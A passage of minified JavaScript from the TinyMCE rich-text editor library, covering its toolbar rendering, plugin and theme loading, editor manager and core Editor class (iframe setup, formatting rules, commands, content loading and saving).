m;i=i.target;if(i.nodeName=="A"&&(m=i.getAttribute("_mce_color"))){k.setColor(m)}return a.cancel(i)});return g},setColor:function(g){var f=this;c.setStyle(f.id+"_preview","backgroundColor",g);f.value=g;f.hideMenu();f.settings.onselect(g)},postRender:function(){var f=this,g=f.id;f.parent();c.add(g+"_action","div",{id:g+"_preview","class":"mceColorPreview"});c.setStyle(f.id+"_preview","backgroundColor",f.value)},destroy:function(){this.parent();a.clear(this.id+"_menu");a.clear(this.id+"_more");c.remove(this.id+"_menu")}})})(tinymce);tinymce.create("tinymce.ui.Toolbar:tinymce.ui.Container",{renderHTML:function(){var l=this,e="",g,j,b=tinymce.DOM,m=l.settings,d,a,f,k;k=l.controls;for(d=0;d<k.length;d++){j=k[d];a=k[d-1];f=k[d+1];if(d===0){g="mceToolbarStart";if(j.Button){g+=" mceToolbarStartButton"}else{if(j.SplitButton){g+=" mceToolbarStartSplitButton"}else{if(j.ListBox){g+=" mceToolbarStartListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,"<!-- IE -->"))}if(a&&j.ListBox){if(a.Button||a.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarEnd"},b.createHTML("span",null,"<!-- IE -->"))}}if(b.stdMode){e+='<td style="position: relative">'+j.renderHTML()+"</td>"}else{e+="<td>"+j.renderHTML()+"</td>"}if(f&&j.ListBox){if(f.Button||f.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarStart"},b.createHTML("span",null,"<!-- IE -->"))}}}g="mceToolbarEnd";if(j.Button){g+=" mceToolbarEndButton"}else{if(j.SplitButton){g+=" mceToolbarEndSplitButton"}else{if(j.ListBox){g+=" mceToolbarEndListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,"<!-- IE -->"));return b.createHTML("table",{id:l.id,"class":"mceToolbar"+(m["class"]?" "+m["class"]:""),cellpadding:"0",cellspacing:"0",align:l.settings.align||""},"<tbody><tr>"+e+"</tr></tbody>")}});(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{items:[],urls:{},lookup:{},onAdd:new a(this),get:function(d){return this.lookup[d]},requireLangPack:function(e){var d=b.settings;if(d&&d.language){b.ScriptLoader.add(this.urls[e]+"/langs/"+d.language+".js")}},add:function(e,d){this.items.push(d);this.lookup[e]=d;this.onAdd.dispatch(this,e,d);return d},load:function(h,e,d,g){var f=this;if(f.urls[h]){return}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}f.urls[h]=e.substring(0,e.lastIndexOf("/"));b.ScriptLoader.add(e,d,g)}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(j){var g=j.each,d=j.extend,k=j.DOM,i=j.dom.Event,f=j.ThemeManager,b=j.PluginManager,e=j.explode,h=j.util.Dispatcher,a,c=0;j.documentBaseURL=window.location.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(j.documentBaseURL)){j.documentBaseURL+="/"}j.baseURL=new j.util.URI(j.documentBaseURL).toAbsolute(j.baseURL);j.baseURI=new j.util.URI(j.baseURL);j.onBeforeUnload=new h(j);i.add(window,"beforeunload",function(l){j.onBeforeUnload.dispatch(j,l)});j.onAddEditor=new h(j);j.onRemoveEditor=new h(j);j.EditorManager=d(j,{editors:[],i18n:{},activeEditor:null,init:function(q){var n=this,p,l=j.ScriptLoader,u,o=[],m;function r(x,y,t){var v=x[y];if(!v){return}if(j.is(v,"string")){t=v.replace(/\.\w+$/,"");t=t?j.resolve(t):0;v=j.resolve(v)}return v.apply(t||this,Array.prototype.slice.call(arguments,2))}q=d({theme:"simple",language:"en"},q);n.settings=q;i.add(document,"init",function(){var s,v;r(q,"onpageload");switch(q.mode){case"exact":s=q.elements||"";if(s.length>0){g(e(s),function(x){if(k.get(x)){m=new j.Editor(x,q);o.push(m);m.render(1)}else{g(document.forms,function(y){g(y.elements,function(z){if(z.name===x){x="mce_editor_"+c++;k.setAttrib(z,"id",x);m=new j.Editor(x,q);o.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function t(y,x){return x.constructor===RegExp?x.test(y.className):k.hasClass(y,x)}g(k.select("textarea"),function(x){if(q.editor_deselector&&t(x,q.editor_deselector)){return}if(!q.editor_selector||t(x,q.editor_selector)){u=k.get(x.name);if(!x.id&&!u){x.id=x.name}if(!x.id||n.get(x.id)){x.id=k.uniqueId()}m=new j.Editor(x.id,q);o.push(m);m.render(1)}});break}if(q.oninit){s=v=0;g(o,function(x){v++;if(!x.initialized){x.onInit.add(function(){s++;if(s==v){r(q,"oninit")}})}else{s++}if(s==v){r(q,"oninit")}})}})},get:function(l){if(l===a){return this.editors}return this.editors[l]},getInstanceById:function(l){return this.get(l)},add:function(m){var l=this,n=l.editors;n[m.id]=m;n.push(m);l._setActive(m);l.onAddEditor.dispatch(l,m);return m},remove:function(n){var m=this,l,o=m.editors;if(!o[n.id]){return null}delete o[n.id];for(l=0;l<o.length;l++){if(o[l]==n){o.splice(l,1);break}}if(m.activeEditor==n){m._setActive(o[0])}n.destroy();m.onRemoveEditor.dispatch(m,n);return n},execCommand:function(r,p,o){var q=this,n=q.get(o),l;switch(r){case"mceFocus":n.focus();return true;case"mceAddEditor":case"mceAddControl":if(!q.get(o)){new j.Editor(o,q.settings).render()}return true;case"mceAddFrameControl":l=o.window;l.tinyMCE=tinyMCE;l.tinymce=j;j.DOM.doc=l.document;j.DOM.win=l;n=new j.Editor(o.element_id,o);n.render();if(j.isIE){function m(){n.destroy();l.detachEvent("onunload",m);l=l.tinyMCE=l.tinymce=null}l.attachEvent("onunload",m)}o.page_window=null;return true;case"mceRemoveEditor":case"mceRemoveControl":if(n){n.remove()}return true;case"mceToggleEditor":if(!n){q.execCommand("mceAddControl",0,o);return true}if(n.isHidden()){n.show()}else{n.hide()}return true}if(q.activeEditor){return q.activeEditor.execCommand(r,p,o)}return false},execInstanceCommand:function(p,o,n,m){var l=this.get(p);if(l){return l.execCommand(o,n,m)}return false},triggerSave:function(){g(this.editors,function(l){l.save()})},addI18n:function(n,q){var l,m=this.i18n;if(!j.is(n,"string")){g(n,function(r,p){g(r,function(t,s){g(t,function(v,u){if(s==="common"){m[p+"."+u]=v}else{m[p+"."+s+"."+u]=v}})})})}else{g(q,function(r,p){m[n+"."+p]=r})}},_setActive:function(l){this.selectedInstance=this.activeEditor=l}})})(tinymce);(function(m){var n=m.DOM,j=m.dom.Event,f=m.extend,k=m.util.Dispatcher,i=m.each,a=m.isGecko,b=m.isIE,e=m.isWebKit,d=m.is,h=m.ThemeManager,c=m.PluginManager,o=m.inArray,l=m.grep,g=m.explode;m.create("tinymce.Editor",{Editor:function(r,q){var p=this;p.id=p.editorId=r;p.execCommands={};p.queryStateCommands={};p.queryValueCommands={};p.isNotDirty=false;p.plugins={};i(["onPreInit","onBeforeRenderUI","onPostRender","onInit","onRemove","onActivate","onDeactivate","onClick","onEvent","onMouseUp","onMouseDown","onDblClick","onKeyDown","onKeyUp","onKeyPress","onContextMenu","onSubmit","onReset","onPaste","onPreProcess","onPostProcess","onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent","onLoadContent","onSaveContent","onNodeChange","onChange","onBeforeExecCommand","onExecCommand","onUndo","onRedo","onVisualAid","onSetProgressState"],function(s){p[s]=new k(p)});p.settings=q=f({id:r,language:"en",docs_language:"en",theme:"simple",skin:"default",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:m.documentBaseURL,add_form_submit_trigger:1,submit_patch:1,add_unload_trigger:1,convert_urls:1,relative_urls:1,remove_script_host:1,table_inline_editing:0,object_resizing:1,cleanup:1,accessibility_focus:1,custom_shortcuts:1,custom_undo_redo_keyboard_shortcuts:1,custom_undo_redo_restore_selection:1,custom_undo_redo:1,doctype:m.isIE6?'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">':"<!DOCTYPE>",visual_table_class:"mceItemTable",visual:1,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",valid_elements:"@[id|class|style|title|dir<ltr?rtl|lang|xml::lang|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup],a[rel|rev|charset|hreflang|tabindex|accesskey|type|name|href|target|title|class|onfocus|onblur],strong/b,em/i,strike,u,#p,-ol[type|compact],-ul[type|compact],-li,br,img[longdesc|usemap|src|border|alt=|title|hspace|vspace|width|height|align],-sub,-sup,-blockquote[cite],-table[border|cellspacing|cellpadding|width|frame|rules|height|align|summary|bgcolor|background|bordercolor],-tr[rowspan|width|height|align|valign|bgcolor|background|bordercolor],tbody,thead,tfoot,#td[colspan|rowspan|width|height|align|valign|bgcolor|background|bordercolor|scope],#th[colspan|rowspan|width|height|align|valign|scope],caption,-div,-span,-code,-pre,address,-h1,-h2,-h3,-h4,-h5,-h6,hr[size|noshade],-font[face|size|color],dd,dl,dt,cite,abbr,acronym,del[datetime|cite],ins[datetime|cite],object[classid|width|height|codebase|*],param[name|value],embed[type|width|height|src|*],script[src|type],map[name],area[shape|coords|href|alt|target],bdo,button,col[align|char|charoff|span|valign|width],colgroup[align|char|charoff|span|valign|width],dfn,fieldset,form[action|accept|accept-charset|enctype|method],input[accept|alt|checked|disabled|maxlength|name|readonly|size|src|type|value|tabindex|accesskey],kbd,label[for],legend,noscript,optgroup[label|disabled],option[disabled|label|selected|value],q[cite],samp,select[disabled|multiple|name|size],small,textarea[cols|rows|disabled|name|readonly],tt,var,big",hidden_input:1,padd_empty_editor:1,render_ui:1,init_theme:1,force_p_newlines:1,indentation:"30px",keep_styles:1,fix_table_elements:1,inline_styles:1,convert_fonts_to_spans:true},q);p.documentBaseURI=new m.util.URI(q.document_base_url||m.documentBaseURL,{base_uri:tinyMCE.baseURI});p.baseURI=m.baseURI;p.execCallback("setup",p)},render:function(r){var u=this,v=u.settings,x=u.id,p=m.ScriptLoader;if(!j.domLoaded){j.add(document,"init",function(){u.render()});return}tinyMCE.settings=v;if(!u.getElement()){return}if(m.isIDevice){return}if(!/TEXTAREA|INPUT/i.test(u.getElement().nodeName)&&v.hidden_input&&n.getParent(x,"form")){n.insertAfter(n.create("input",{type:"hidden",name:x}),x)}if(m.WindowManager){u.windowManager=new m.WindowManager(u)}if(v.encoding=="xml"){u.onGetContent.add(function(s,t){if(t.save){t.content=n.encode(t.content)}})}if(v.add_form_submit_trigger){u.onSubmit.addToTop(function(){if(u.initialized){u.save();u.isNotDirty=1}})}if(v.add_unload_trigger){u._beforeUnload=tinyMCE.onBeforeUnload.add(function(){if(u.initialized&&!u.destroyed&&!u.isHidden()){u.save({format:"raw",no_events:true})}})}m.addUnload(u.destroy,u);if(v.submit_patch){u.onBeforeRenderUI.add(function(){var s=u.getElement().form;if(!s){return}if(s._mceOldSubmit){return}if(!s.submit.nodeType&&!s.submit.length){u.formElement=s;s._mceOldSubmit=s.submit;s.submit=function(){m.triggerSave();u.isNotDirty=1;return u.formElement._mceOldSubmit(u.formElement)}}s=null})}function q(){if(v.language){p.add(m.baseURL+"/langs/"+v.language+".js")}if(v.theme&&v.theme.charAt(0)!="-"&&!h.urls[v.theme]){h.load(v.theme,"themes/"+v.theme+"/editor_template"+m.suffix+".js")}i(g(v.plugins),function(s){if(s&&s.charAt(0)!="-"&&!c.urls[s]){if(s=="safari"){return}c.load(s,"plugins/"+s+"/editor_plugin"+m.suffix+".js")}});p.loadQueue(function(){if(!u.removed){u.init()}})}q()},init:function(){var r,E=this,F=E.settings,B,y,A=E.getElement(),q,p,C,x,z,D;m.add(E);if(F.theme){F.theme=F.theme.replace(/-/,"");q=h.get(F.theme);E.theme=new q();if(E.theme.init&&F.init_theme){E.theme.init(E,h.urls[F.theme]||m.documentBaseURL.replace(/\/$/,""))}}i(g(F.plugins.replace(/\-/g,"")),function(G){var H=c.get(G),t=c.urls[G]||m.documentBaseURL.replace(/\/$/,""),s;if(H){s=new H(E,t);E.plugins[G]=s;if(s.init){s.init(E,t)}}});if(F.popup_css!==false){if(F.popup_css){F.popup_css=E.documentBaseURI.toAbsolute(F.popup_css)}else{F.popup_css=E.baseURI.toAbsolute("themes/"+F.theme+"/skins/"+F.skin+"/dialog.css")}}if(F.popup_css_add){F.popup_css+=","+E.documentBaseURI.toAbsolute(F.popup_css_add)}E.controlManager=new m.ControlManager(E);if(F.custom_undo_redo){E.onBeforeExecCommand.add(function(t,G,u,H,s){if(G!="Undo"&&G!="Redo"&&G!="mceRepaint"&&(!s||!s.skip_undo)){if(!E.undoManager.hasUndo()){E.undoManager.add()}}});E.onExecCommand.add(function(t,G,u,H,s){if(G!="Undo"&&G!="Redo"&&G!="mceRepaint"&&(!s||!s.skip_undo)){E.undoManager.add()}})}E.onExecCommand.add(function(s,t){if(!/^(FontName|FontSize)$/.test(t)){E.nodeChanged()}});if(a){function v(s,t){if(!t||!t.initial){E.execCommand("mceRepaint")}}E.onUndo.add(v);E.onRedo.add(v);E.onSetContent.add(v)}E.onBeforeRenderUI.dispatch(E,E.controlManager);if(F.render_ui){B=F.width||A.style.width||A.offsetWidth;y=F.height||A.style.height||A.offsetHeight;E.orgDisplay=A.style.display;D=/^[0-9\.]+(|px)$/i;if(D.test(""+B)){B=Math.max(parseInt(B)+(q.deltaWidth||0),100)}if(D.test(""+y)){y=Math.max(parseInt(y)+(q.deltaHeight||0),100)}q=E.theme.renderUI({targetNode:A,width:B,height:y,deltaWidth:F.delta_width,deltaHeight:F.delta_height});E.editorContainer=q.editorContainer}if(document.domain&&location.hostname!=document.domain){m.relaxedDomain=document.domain}n.setStyles(q.sizeContainer||q.editorContainer,{width:B,height:y});y=(q.iframeHeight||y)+(typeof(y)=="number"?(q.deltaHeight||0):"");if(y<100){y=100}E.iframeHTML=F.doctype+'<html><head xmlns="http://www.w3.org/1999/xhtml">';if(F.document_base_url!=m.documentBaseURL){E.iframeHTML+='<base href="'+E.documentBaseURI.getURI()+'" />'}E.iframeHTML+='<meta http-equiv="X-UA-Compatible" content="IE=7" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';if(m.relaxedDomain){E.iframeHTML+='<script type="text/javascript">document.domain = "'+m.relaxedDomain+'";<\/script>'}x=F.body_id||"tinymce";if(x.indexOf("=")!=-1){x=E.getParam("body_id","","hash");x=x[E.id]||x}z=F.body_class||"";if(z.indexOf("=")!=-1){z=E.getParam("body_class","","hash");z=z[E.id]||""}E.iframeHTML+='</head><body id="'+x+'" class="mceContentBody '+z+'"></body></html>';if(m.relaxedDomain){if(b||(m.isOpera&&parseFloat(opera.version())>=9.5)){C='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinyMCE.get("'+E.id+'");document.write(ed.iframeHTML);document.close();ed.setupIframe();})()'}else{if(m.isOpera){C='javascript:(function(){document.open();document.domain="'+document.domain+'";document.close();ed.setupIframe();})()'}}}r=n.add(q.iframeContainer,"iframe",{id:E.id+"_ifr",src:C||'javascript:""',frameBorder:"0",style:{width:"100%",height:y}});E.contentAreaContainer=q.iframeContainer;n.get(q.editorContainer).style.display=E.orgDisplay;n.get(E.id).style.display="none";if(!b||!m.relaxedDomain){E.setupIframe()}A=r=q=null},setupIframe:function(){var z=this,A=z.settings,r=n.get(z.id),u=z.getDoc(),q,x;if(!b||!m.relaxedDomain){u.open();u.write(z.iframeHTML);u.close()}if(!b){try{if(!A.readonly){u.designMode="On"}}catch(v){}}if(b){x=z.getBody();n.hide(x);if(!A.readonly){x.contentEditable=true}n.show(x)}z.dom=new m.dom.DOMUtils(z.getDoc(),{keep_values:true,url_converter:z.convertURL,url_converter_scope:z,hex_colors:A.force_hex_style_colors,class_filter:A.class_filter,update_styles:1,fix_ie_paragraphs:1,valid_styles:A.valid_styles});z.schema=new m.dom.Schema();z.serializer=new m.dom.Serializer(f(A,{valid_elements:A.verify_html===false?"*[*]":A.valid_elements,dom:z.dom,schema:z.schema}));z.selection=new m.dom.Selection(z.dom,z.getWin(),z.serializer);z.formatter=new m.Formatter(this);z.formatter.register({alignleft:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"left"}},{selector:"img,table",styles:{"float":"left"}}],aligncenter:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"center"}},{selector:"img",styles:{display:"block",marginLeft:"auto",marginRight:"auto"}},{selector:"table",styles:{marginLeft:"auto",marginRight:"auto"}}],alignright:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"right"}},{selector:"img,table",styles:{"float":"right"}}],alignfull:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"justify"}}],bold:[{inline:"strong"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b"}],italic:[{inline:"em"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:true},{inline:"u"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:true},{inline:"u"}],forecolor:{inline:"span",styles:{color:"%value"}},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"}},fontname:{inline:"span",styles:{fontFamily:"%value"}},fontsize:{inline:"span",styles:{fontSize:"%value"}},fontsize_class:{inline:"span",attributes:{"class":"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},removeformat:[{selector:"b,strong,em,i,font,u,strike",remove:"all",split:true,expand:false,block_expand:true,deep:true},{selector:"span",attributes:["style","class"],remove:"empty",split:true,expand:false,deep:true},{selector:"*",attributes:["style","class"],split:false,expand:false,deep:true}]});i("p h1 h2 h3 h4 h5 h6 div address pre div code dt dd samp".split(/\s/),function(s){z.formatter.register(s,{block:s,remove:"all"})});z.formatter.register(z.settings.formats);z.undoManager=new m.UndoManager(z);z.undoManager.onAdd.add(function(t,s){if(!s.initial){return z.onChange.dispatch(z,s,t)}});z.undoManager.onUndo.add(function(t,s){return z.onUndo.dispatch(z,s,t)});z.undoManager.onRedo.add(function(t,s){return z.onRedo.dispatch(z,s,t)});z.forceBlocks=new m.ForceBlocks(z,{forced_root_block:A.forced_root_block});z.editorCommands=new m.EditorCommands(z);z.serializer.onPreProcess.add(function(s,t){return z.onPreProcess.dispatch(z,t,s)});z.serializer.onPostProcess.add(function(s,t){return z.onPostProcess.dispatch(z,t,s)});z.onPreInit.dispatch(z);if(!A.gecko_spellcheck){z.getBody().spellcheck=0}if(!A.readonly){z._addEvents()}z.controlManager.onPostRender.dispatch(z,z.controlManager);z.onPostRender.dispatch(z);if(A.directionality){z.getBody().dir=A.directionality}if(A.nowrap){z.getBody().style.whiteSpace="nowrap"}if(A.custom_elements){function y(s,t){i(g(A.custom_elements),function(B){var C;if(B.indexOf("~")===0){B=B.substring(1);C="span"}else{C="div"}t.content=t.content.replace(new RegExp("<("+B+")([^>]*)>","g"),"<"+C+' _mce_name="$1"$2>');t.content=t.content.replace(new RegExp("</("+B+")>","g"),"</"+C+">")})}z.onBeforeSetContent.add(y);z.onPostProcess.add(function(s,t){if(t.set){y(s,t)}})}if(A.handle_node_change_callback){z.onNodeChange.add(function(t,s,B){z.execCallback("handle_node_change_callback",z.id,B,-1,-1,true,z.selection.isCollapsed())})}if(A.save_callback){z.onSaveContent.add(function(s,B){var t=z.execCallback("save_callback",z.id,B.content,z.getBody());if(t){B.content=t}})}if(A.onchange_callback){z.onChange.add(function(t,s){z.execCallback("onchange_callback",z,s)})}if(A.convert_newlines_to_brs){z.onBeforeSetContent.add(function(s,t){if(t.initial){t.content=t.content.replace(/\r?\n/g,"<br />")}})}if(A.fix_nesting&&b){z.onBeforeSetContent.add(function(s,t){t.content=z._fixNesting(t.content)})}if(A.preformatted){z.onPostProcess.add(function(s,t){t.content=t.content.replace(/^\s*<pre.*?>/,"");t.content=t.content.replace(/<\/pre>\s*$/,"");if(t.set){t.content='<pre class="mceItemHidden">'+t.content+"</pre>"}})}if(A.verify_css_classes){z.serializer.attribValueFilter=function(D,B){var C,t;if(D=="class"){if(!z.classesRE){t=z.dom.getClasses();if(t.length>0){C="";i(t,function(s){C+=(C?"|":"")+s["class"]});z.classesRE=new RegExp("("+C+")","gi")}}return !z.classesRE||/(\bmceItem\w+\b|\bmceTemp\w+\b)/g.test(B)||z.classesRE.test(B)?B:""}return B}}if(A.cleanup_callback){z.onBeforeSetContent.add(function(s,t){t.content=z.execCallback("cleanup_callback","insert_to_editor",t.content,t)});z.onPreProcess.add(function(s,t){if(t.set){z.execCallback("cleanup_callback","insert_to_editor_dom",t.node,t)}if(t.get){z.execCallback("cleanup_callback","get_from_editor_dom",t.node,t)}});z.onPostProcess.add(function(s,t){if(t.set){t.content=z.execCallback("cleanup_callback","insert_to_editor",t.content,t)}if(t.get){t.content=z.execCallback("cleanup_callback","get_from_editor",t.content,t)}})}if(A.save_callback){z.onGetContent.add(function(s,t){if(t.save){t.content=z.execCallback("save_callback",z.id,t.content,z.getBody())}})}if(A.handle_event_callback){z.onEvent.add(function(s,t,B){if(z.execCallback("handle_event_callback",t,s,B)===false){j.cancel(t)}})}z.onSetContent.add(function(){z.addVisual(z.getBody())});if(A.padd_empty_editor){z.onPostProcess.add(function(s,t){t.content=t.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/,"")})}if(a){function p(s,t){i(s.dom.select("a"),function(C){var B=C.parentNode;if(s.dom.isBlock(B)&&B.lastChild===C){s.dom.add(B,"br",{_mce_bogus:1})}})}z.onExecCommand.add(function(s,t){if(t==="CreateLink"){p(s)}});z.onSetContent.add(z.selection.onSetContent.add(p));if(!A.readonly){try{u.designMode="Off";u.designMode="On"}catch(v){}}}setTimeout(function(){if(z.removed){return}z.load({initial:true,format:(A.cleanup_on_startup?"html":"raw")});z.startContent=z.getContent({format:"raw"});z.initialized=true;z.onInit.dispatch(z);z.execCallback("setupcontent_callback",z.id,z.getBody(),z.getDoc());z.execCallback("init_instance_callback",z);z.focus(true);z.nodeChanged({initial:1});if(A.content_css){m.each(g(A.content_css),function(s){z.dom.loadCSS(z.documentBaseURI.toAbsolute(s))})}if(A.auto_focus){setTimeout(function(){var s=m.get(A.auto_focus);s.selection.select(s.getBody(),1);s.selection.collapse(1);s.getWin().focus()},100)}},1);r=null},focus:function(s){var x,q=this,v=q.settings.content_editable,r,p,u=q.getDoc();if(!s){r=q.selection.getRng();if(r.item){p=r.item(0)}if(!v){q.getWin().focus()}if(p&&p.ownerDocument==u){r=u.body.createControlRange();r.addElement(p);r.select()}}if(m.activeEditor!=q){if((x=m.activeEditor)!=null){x.onDeactivate.dispatch(x,q)}q.onActivate.dispatch(q,x)}m._setActive(q)},execCallback:function(u){var p=this,r=p.settings[u],q;if(!r){return}if(p.callbackLookup&&(q=p.callbackLookup[u])){r=q.func;q=q.scope}if(d(r,"string")){q=r.replace(/\.\w+$/,"");q=q?m.resolve(q):0;r=m.resolve(r);p.callbackLookup=p.callbackLookup||{};p.callbackLookup[u]={func:r,scope:q}}return r.apply(q||p,Array.prototype.slice.call(arguments,1))},translate:function(p){var r=this.settings.language||"en",q=m.i18n;if(!p){return""}return q[r+"."+p]||p.replace(/{\#([^}]+)\}/g,function(t,s){return q[r+"."+s]||"{#"+s+"}"})},getLang:function(q,p){return m.i18n[(this.settings.language||"en")+"."+q]||(d(p)?p:"{#"+q+"}")},getParam:function(u,r,p){var s=m.trim,q=d(this.settings[u])?this.settings[u]:r,t;if(p==="hash"){t={};if(d(q,"string")){i(q.indexOf("=")>0?q.split(/[;,](?![^=;,]*(?:[;,]|$))/):q.split(","),function(x){x=x.split("=");if(x.length>1){t[s(x[0])]=s(x[1])}else{t[s(x[0])]=s(x)}})}else{t=q}return t}return q},nodeChanged:function(r){var p=this,q=p.selection,u=(b?q.getNode():q.getStart())||p.getBody();if(p.initialized){r=r||{};u=b&&u.ownerDocument!=p.getDoc()?p.getBody():u;r.parents=[];p.dom.getParent(u,function(s){if(s.nodeName=="BODY"){return true}r.parents.push(s)});p.onNodeChange.dispatch(p,r?r.controlManager||p.controlManager:p.controlManager,u,q.isCollapsed(),r)}},addButton:function(r,q){var p=this;p.buttons=p.buttons||{};p.buttons[r]=q},addCommand:function(r,q,p){this.execCommands[r]={func:q,scope:p||this}},addQueryStateHandler:function(r,q,p){this.queryStateCommands[r]={func:q,scope:p||this}},addQueryValueHandler:function(r,q,p){this.queryValueCommands[r]={func:q,scope:p||this}},addShortcut:function(r,u,p,s){var q=this,v;if(!q.settings.custom_shortcuts){return false}q.shortcuts=q.shortcuts||{};if(d(p,"string")){v=p;p=function(){q.execCommand(v,false,null)}}if(d(p,"object")){v=p;p=function(){q.execCommand(v[0],v[1],v[2])}}i(g(r),function(t){var x={func:p,scope:s||this,desc:u,alt:false,ctrl:false,shift:false};i(g(t,"+"),function(y){switch(y){case"alt":case"ctrl":case"shift":x[y]=true;break;default:x.charCode=y.charCodeAt(0);x.keyCode=y.toUpperCase().charCodeAt(0)}});q.shortcuts[(x.ctrl?"ctrl":"")+","+(x.alt?"alt":"")+","+(x.shift?"shift":"")+","+x.keyCode]=x});return true},execCommand:function(x,v,z,p){var r=this,u=0,y,q;if(!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(x)&&(!p||!p.skip_focus)){r.focus()}y={};r.onBeforeExecCommand.dispatch(r,x,v,z,y);if(y.terminate){return false}if(r.execCallback("execcommand_callback",r.id,r.selection.getNode(),x,v,z)){r.onExecCommand.dispatch(r,x,v,z,p);return true}if(y=r.execCommands[x]){q=y.func.call(y.scope,v,z);if(q!==true){r.onExecCommand.dispatch(r,x,v,z,p);return q}}i(r.plugins,function(s){if(s.execCommand&&s.execCommand(x,v,z)){r.onExecCommand.dispatch(r,x,v,z,p);u=1;return false}});if(u){return true}if(r.theme&&r.theme.execCommand&&r.theme.execCommand(x,v,z)){r.onExecCommand.dispatch(r,x,v,z,p);return true}if(m.GlobalCommands.execCommand(r,x,v,z)){r.onExecCommand.dispatch(r,x,v,z,p);return true}if(r.editorCommands.execCommand(x,v,z)){r.onExecCommand.dispatch(r,x,v,z,p);return true}r.getDoc().execCommand(x,v,z);r.onExecCommand.dispatch(r,x,v,z,p)},queryCommandState:function(u){var q=this,v,r;if(q._isHidden()){return}if(v=q.queryStateCommands[u]){r=v.func.call(v.scope);if(r!==true){return r}}v=q.editorCommands.queryCommandState(u);if(v!==-1){return v}try{return this.getDoc().queryCommandState(u)}catch(p){}},queryCommandValue:function(v){var q=this,u,r;if(q._isHidden()){return}if(u=q.queryValueCommands[v]){r=u.func.call(u.scope);if(r!==true){return r}}u=q.editorCommands.queryCommandValue(v);if(d(u)){return u}try{return this.getDoc().queryCommandValue(v)}catch(p){}},show:function(){var p=this;n.show(p.getContainer());n.hide(p.id);p.load()},hide:function(){var p=this,q=p.getDoc();if(b&&q){q.execCommand("SelectAll")}p.save();n.hide(p.getContainer());n.setStyle(p.id,"display",p.orgDisplay)},isHidden:function(){return !n.isHidden(this.id)},setProgressState:function(p,q,r){this.onSetProgressState.dispatch(this,p,q,r);return p},load:function(s){var p=this,r=p.getElement(),q;if(r){s=s||{};s.load=true;q=p.setContent(d(r.value)?r.value:r.innerHTML,s);s.element=r;if(!s.no_events){p.onLoadContent.dispatch(p,s)}s.element=r=null;return q}},save:function(u){var p=this,s=p.getElement(),q,r;if(!s||!p.initialized){return}u=u||{};u.save=true;if(!u.no_events){p.undoManager.typing=0;p.undoManager.add()}u.element=s;q=u.content=p.getContent(u);if(!u.no_events){p.onSaveContent.dispatch(p,u)}q=u.content;if(!/TEXTAREA|INPUT/i.test(s.nodeName)){s.innerHTML=q;if(r=n.getParent(p.id,"form")){i(r.elements,function(t){if(t.name==p.id){t.value=q;return false}})}}else{s.value=q}u.element=s=null;return q},setContent:function(q,r){var p=this;r=r||{};r.format=r.format||"html";r.set=true;r.content=q;if(!r.no_events){p.onBeforeSetContent.dispatch(p,r)}if(!m.isIE&&(q.length===0||/^\s+$/.test(q))){r.content=p.dom.setHTML(p.getBody(),'<br _mce_bogus="1" />');r.format="raw"}r.content=p.dom.setHTML(p.getBody(),m.trim(r.content));if(r.format!="raw"&&p.settings.cleanup){r.getInner=true;r.content=p.dom.setHTML(p.getBody(),p.serializer.serialize(p.getBody(),r))}if(!r.no_events){p.onSetContent.dispatch(p,r)}return r.content},getContent:function(r){var p=this,q;r=r||{};r.format=r.format||"html";r.get=true;if(!r.no_events){p.onBeforeGetContent.dispatch(p,r)}if(r.format!="raw"&&p.settings.cleanup){r.getInner=true;q=p.serializer.serialize(p.getBody(),r)}else{q=p.getBody().innerHTML}q=q.replace(/^\s*|\s*$/g,"");r.content=q;if(!r.no_events){p.onGetContent.dispatch(p,r)}return r.content},isDirty:function(){var p=this;return m.trim(p.startContent)!=m.trim(p.getContent({format:"raw",no_events:1}))&&!p.isNotDirty},getContainer:function(){var p=this;if(!p.container){p.container=n.get(p.editorContainer||p.id+"_parent")}return p.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return n.get(this.settings.content_element||this.id)},getWin:function(){var p=this,q;if(!p.contentWindow){q=n.get(p.id+"_ifr");if(q){p.contentWindow=q.contentWindow}}return p.contentWindow},getDoc:function(){var q=this,p;if(!q.contentDocument){p=q.getWin();if(p){q.contentDocument=p.document}}return q.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(p,x,v){var q=this,r=q.settings;if(r.urlconverter_callback){return 